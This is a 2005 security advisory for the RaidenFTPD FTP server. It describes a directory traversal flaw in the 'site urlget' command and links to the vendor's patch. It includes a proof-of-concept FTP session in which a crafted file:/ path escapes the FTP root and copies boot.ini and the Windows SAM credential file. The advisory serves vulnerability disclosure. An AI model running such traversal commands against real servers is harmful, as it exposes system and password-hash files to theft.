Product : RaidenFTPD Affected Versions : < 2.4.2241 *** Author: Lachlan. H Date vendor notified: 19/04/2005 Patch released: 20/04/2005 Disclosure: 02/05/2005 *** Product Description: RaidenFTPD is an easy-to-use ftp server software for Windows?. With this handy tool you can share your files with friends, provide file download services to customers or even setup your own private network file server. Not only are all the basic FTP server features built-in; it also features various advanced features such as SSL/TLS, UTF8, UPnP NAT traversal and more .. *** Problem: Directory Traversal - Failure to validate input for the site command 'urlget'. Using urlget it's possible for a normal user to escape ftproot and download known files from restricted directories. The JohnLong Team acted promptly to resolve the issue. *** Fix: http://www.raidenftpd.com/en/ FULL : http://www.raidenmaild.com/download/raidenftpd2.exe UPDATE : http://www.raidenmaild.com/download/update.exe *** PoC: 230 User ****** logged in. ftp> quote site urlget file://\..\\boot.ini 550 site urlget failed : hacking attempt , you have been logged. ftp> quote site urlget file:/..\\boot.ini 220 site urlget : downloading file:/..\\boot.ini->boot.ini ftp> ls 200 Port command ok. 150 Opening ASCII data connection for ls /. boot.ini 226-free disk space under this directory : 28919 mb 226 Transfer finished successfully. Data connection closed . ftp: 10 bytes received in 0.00 Seconds 10000.00Kbytes/sec. ftp> quote site urlget file:/..\\winnt/repair/sam 220 site urlget : downloading file:/..\\winnt/repair/sam->sam ftp> ls 200 Port command ok. 150 Opening ASCII data connection for ls /. boot.ini sam 226-free disk space under this directory : 28919mb 226 Transfer finished successfully. Data connection closed . ftp: 15 bytes received in 0.00Seconds 15000.00Kbytes/sec. ftp> *** __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com
